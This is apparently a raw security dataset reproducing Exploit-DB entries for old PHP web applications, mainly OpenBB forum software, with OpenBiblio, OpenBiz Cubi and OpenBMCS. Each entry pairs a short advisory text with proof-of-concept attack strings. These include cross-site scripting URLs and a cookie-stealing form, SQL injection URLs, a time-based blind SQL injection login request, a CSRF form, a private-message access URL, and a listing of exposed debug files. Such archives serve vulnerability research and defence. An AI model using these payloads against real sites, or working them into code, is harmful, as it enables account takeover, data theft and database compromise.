deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25657
Description: OpenBB 1.0.8 - 'member.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-13
Author: Megasky

Exploit:
source: https://www.securityfocus.com/bid/13625/info

OpenBB is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects OpenBB version 1.0.8; other versions may also be vulnerable. 

http://www.example.com/member.php?action=list&page=2&sortorder=username&perpage=25&reverse="><script>alert('test');</script>
Exploit-DB #25656
Description: OpenBB 1.0.8 - 'Read.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-13
Author: Megasky

Exploit:
source: https://www.securityfocus.com/bid/13624/info

OpenBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue reportedly affects OpenBB version 1.0.8; other versions may also be vulnerable. 

http://www.example.com/openbb/read.php?action=lastpost&TID='
http://www.example.com/openbb/read.php?TID='
Exploit-DB #24056
Description: OpenBB 1.0.x - 'board.php?FID' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-26
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10214/info
    
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
    
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
    
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/board.php?FID=1[SQL]
Exploit-DB #24055
Description: OpenBB 1.0.x - 'index.php?redirect' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-26
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10214/info
   
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
   
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
   
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/index.php?redirect=[XSS]
Exploit-DB #24057
Description: OpenBB 1.0.x - 'member.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2004-04-26
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10214/info
     
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
     
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
     
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/member.php?action=list&page=1&sortorder=[SQL]
http://www.example.com/member.php?action=list&page=1&sortorder=username&perpage=[SQL]
http://www.example.com/member.php?action=passwdsend&resetid=blah&id=2[SQL]
Exploit-DB #24052
Description: OpenBB 1.0.x - 'member.php?redirect' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-26
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10214/info

It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.

The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.

The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/member.php?action=login&redirect=[XSS]
Exploit-DB #24053
Description: OpenBB 1.0.x - 'myhome.php?to' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-26
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10214/info
 
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
 
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
 
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/myhome.php?action=newmsg&to=blah[XSS]
Exploit-DB #24059
Description: OpenBB 1.0.x - 'post.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2004-04-26
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10214/info
      
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
      
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
      
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/post.php?action=edit&page=1&PID=1[SQL]
http://www.example.com/post.php?action=post&FID=1[SQL]
Exploit-DB #24054
Description: OpenBB 1.0.x - 'post.php?TID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-26
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10214/info
  
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
  
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
  
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/post.php?action=mail&TID=1[XSS]
Exploit-DB #24058
Description: OpenBB 1.0.x - 'search.php?q' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-26
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/10214/info
      
It has been reported that OpenBB is affected by multiple input validation vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied user input.
      
The SQL issues may allow a remote attacker to manipulate query logic, potentially leading to unauthorized access to sensitive information such as the administrator password hash or corruption of database data. SQL injection attacks may also potentially be used to exploit latent vulnerabilities in the underlying database implementation.
      
The cross-site scripting issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/search.php?&sortby=dateline&sort=DESC&q=open&forums%5B[SQL]%5D
Exploit-DB #21301
Description: OpenBB 1.0.x - Image Tag Cross-Agent Scripting
Type: webapps
Platform: php
Date: 2002-02-25
Author: skizzik

Exploit:
source: https://www.securityfocus.com/bid/4171/info

OpenBB is web forum software written in PHP. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.

OpenBB allows users to include images in forum messages using image tags, with the following syntax:

[img]url of image[/img]

It is possible to inject arbitrary script code into forum messages via these image tags. Script code will be executed in the browser of the user viewing the forum message, in the context of the website running the vulnerable software. This may allow an attacker to steal cookie-based authentication credentials.

[img]javasCript:alert('Hello world.')[/img]
Exploit-DB #24061
Description: OpenBB 1.0.x - Private Message Disclosure
Type: webapps
Platform: php
Date: 2004-04-26
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/10217/info

It has been reported that OpenBB is affected by a private message disclosure vulnerability. This issue is due to a design error that fails to validate user credentials.

This issue might allow an attacker to read arbitrary private messages posted to the bulletin board; limiting confidentiality.

http:/www.example.com/forum/myhome.php?action=readmsg&id=[message_id]&box=inbox
Exploit-DB #22519
Description: OpenBB 1.0/1.1 - 'board.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-04-22
Author: Albert Puigsech Galicia

Exploit:
source: https://www.securityfocus.com/bid/7404/info

It has been reported that OpenBB does not properly check input passed via the 'board.php' script. Because of this, an attacker may be able to inject arbitrary commands to the database in the context of the bulletin board software. The consequences will vary depending on the underlying database implementation. 

http://www.example.com/board.php?FID=2%20<something>

where <something> represents a SQL query.
Exploit-DB #22517
Description: OpenBB 1.0/1.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-04-22
Author: Albert Puigsech Galicia

Exploit:
source: https://www.securityfocus.com/bid/7401/info

It has been reported that OpenBB does not properly check input passed via the 'index.php' script. Because of this, an attacker may be able to inject arbitrary commands to the database in the context of the bulletin board software. The consequences will vary depending on the underlying database implementation. 

http://www.example.com/index.php?CID=1%20<something>

where <something> represents a SQL query.
Exploit-DB #22520
Description: OpenBB 1.0/1.1 - 'member.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-04-22
Author: Albert Puigsech Galicia

Exploit:
source: https://www.securityfocus.com/bid/7405/info

It has been reported that OpenBB does not properly check input passed via the 'member.php' script. Because of this, an attacker may be able to inject arbitrary commands to the database in the context of the bulletin board software. The consequences will vary depending on the underlying database implementation. 

http://www.example.com/member.php?action=profile&UID=1%20<something>

where <something> represents a SQL query.
Exploit-DB #30948
Description: OpenBiblio 0.x - 'staff_del_confirm.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-12-28
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/27053/info

OpenBiblio is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include SQL-injection, cross-site scripting, HTML-injection, and local file-include vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.

These issues affect Openbiblio 0.5.2-pre4 and prior versions. 

http://www.example.com/openbiblio/admin/staff_del_confirm.php?UID=1&LAST=[XSS]&FIRST=[XSS]
Exploit-DB #30949
Description: OpenBiblio 0.x - 'theme_del_confirm.php?name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-28
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/27053/info
 
OpenBiblio is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include SQL-injection, cross-site scripting, HTML-injection, and local file-include vulnerabilities.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.
 
These issues affect Openbiblio 0.5.2-pre4 and prior versions. 

http://www.example.com/openbiblio/admin/theme_del_confirm.php?themeid=6&amp;name=[XSS]
Exploit-DB #30951
Description: OpenBiblio 0.x - 'theme_preview.php?themeName' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-28
Author: Juan Galiana Lara

Exploit:
source: https://www.securityfocus.com/bid/27053/info
  
OpenBiblio is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The issues include SQL-injection, cross-site scripting, HTML-injection, and local file-include vulnerabilities.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, execute arbitrary local scripts, retrieve potentially sensitive information, or exploit latent vulnerabilities in the underlying database.
  
These issues affect Openbiblio 0.5.2-pre4 and prior versions. 

<form action="http://www.example.com/openbiblio/admin/theme_preview.php" method="post">
<input type="text" name="themeName" size="40" value="<script>alert(
document.cookie);</script>"><br><br>
<input type="submit" value="doit">
</form>
Exploit-DB #45801
Description: OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-06
Author: AkkuS

Exploit:
# Exploit Title: OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection
# Date: ]2018-11-05
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://sourceforge.net/projects/bigchef/
# Software Link: https://sourceforge.net/projects/bigchef/files/latest/download
# Version: v3.0.8
# Category: Webapps
# Tested on: XAMPP for Linux 1.7.2
# Description: Cubi Platform login page is prone to an SQL-injection vulnerability.
# Exploiting this issue could allow an attacker to compromise the application,
# access or modify data, or exploit latent  vulnerabilities in the underlying database.
#########################################################
# PoC : SQLi :

# POST : POST
/bin/controller.php?F=RPCInvoke&P0=[user.form.LoginForm]&P1=[Login]&__this=btn_login:onclick&_thisView=user.view.LoginView&jsrs=1
# Parameter: MULTIPART username ((custom) POST)
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind


# Payload:

----------------------------[PII_REDACTED][PII_REDACTED]823492
Content-Disposition: form-data; name="username"

admin' AND SLEEP(5)-- JgaK
----------------------------[PII_REDACTED][PII_REDACTED]823492
Content-Disposition: form-data; name="password"

password
----------------------------[PII_REDACTED][PII_REDACTED]823492
Content-Disposition: form-data; name="session_timeout"

Don't save session
----------------------------[PII_REDACTED][PII_REDACTED]823492
Content-Disposition: form-data; name="session_timeout"

0
----------------------------[PII_REDACTED][PII_REDACTED]823492
Content-Disposition: form-data; name="current_language"

English ( en_US )
----------------------------[PII_REDACTED][PII_REDACTED]823492
Content-Disposition: form-data; name="current_language"

en_US
----------------------------[PII_REDACTED][PII_REDACTED]823492
Content-Disposition: form-data; name="btn_client_login"


----------------------------[PII_REDACTED][PII_REDACTED]823492--
---
Exploit-DB #50667
Description: OpenBMCS 2.4 - Cross Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2022-01-18
Author: LiquidWorm

Exploit:
# Exploit Title: OpenBMCS 2.4 - Cross Site Request Forgery (CSRF)
# Exploit Author: LiquidWorm
# Date: 26/10/2021

OpenBMCS 2.4 CSRF Send E-mail


Vendor: OPEN BMCS
Product web page: https://www.openbmcs.com
Affected version: 2.4

Summary: Building Management & Controls System (BMCS). No matter what the
size of your business, the OpenBMCS software has the ability to expand to
hundreds of controllers. Our product can control and monitor anything from
a garage door to a complete campus wide network, with everything you need
on board.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)
           Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)
           Apache/2.4.41 (Ubuntu)
           Apache/2.4.25 (Debian)
           nginx/1.16.1
           PHP/7.4.3
           PHP/7.0.33-0+deb9u9


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5691
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5691.php


26.10.2021

--


<html>
  <body>
    <form action="https://192.168.1.222/core/sendFeedback.php" method="POST">
      <input type="hidden" name="subject" value="FEEDBACK%20TESTINGUS" />
      <input type="hidden" name="message" value="Take me to your leader." />
      <input type="hidden" name="email" value="lab@zeroscience.mk" />
      <input type="submit" value="Send" />
    </form>
  </body>
</html>
Exploit-DB #50671
Description: OpenBMCS 2.4 - Information Disclosure
Type: webapps
Platform: php
Date: 2022-01-18
Author: LiquidWorm

Exploit:
# Exploit Title: OpenBMCS 2.4 - Information Disclosure
# Exploit Author: LiquidWorm
# Date: 26/10/2021

OpenBMCS 2.4 Secrets Disclosure


Vendor: OPEN BMCS
Product web page: https://www.openbmcs.com
Affected version: 2.4

Summary: Building Management & Controls System (BMCS). No matter what the
size of your business, the OpenBMCS software has the ability to expand to
hundreds of controllers. Our product can control and monitor anything from
a garage door to a complete campus wide network, with everything you need
on board.

Desc: The application allows directory listing and information disclosure of
some sensitive files that can allow an attacker to leverage the disclosed
information and gain full BMS access.

Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)
           Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)
           Apache/2.4.41 (Ubuntu)
           Apache/2.4.25 (Debian)
           nginx/1.16.1
           PHP/7.4.3
           PHP/7.0.33-0+deb9u9


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5695
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5695.php


26.10.2021

--


https://192.168.1.222/debug/

Index of /debug

change_password_sqls
clear_all_watches.php
controllerlog/
dash/
dodgy.php
fix_out.php
graphics/
graphics_diag.php
graphics_ip_diag/
jace_info.php
kits/
mysession.php
nuke.php
obix_test.php
print_tree.php
reboot_backdoor.php
rerunSQLUpdates.php
reset_alarm_trigger_times.php
system/
test_chris_obix.php
timestamp.php
tryEmail.php
trysms.php
unit_testing/
userlog/

...
...

/cache/
/classes/
/config/
/controllers/
/core/
/css/
/display/
/fonts/
/images/
/js/
/php/
/plugins/
/sounds/
/temp/
/tools/
/core/assets/
/core/backup/
/core/crontab/
/core/font/
/core/fonts/
/core/license/
/core/load/
/core/logout/
/core/password/
/php/audit/
/php/phpinfo.php
/php/temp/
/php/templates/
/php/test/
/php/weather/
/plugins/alarms/
/tools/phpmyadmin/index.php
/tools/migrate.php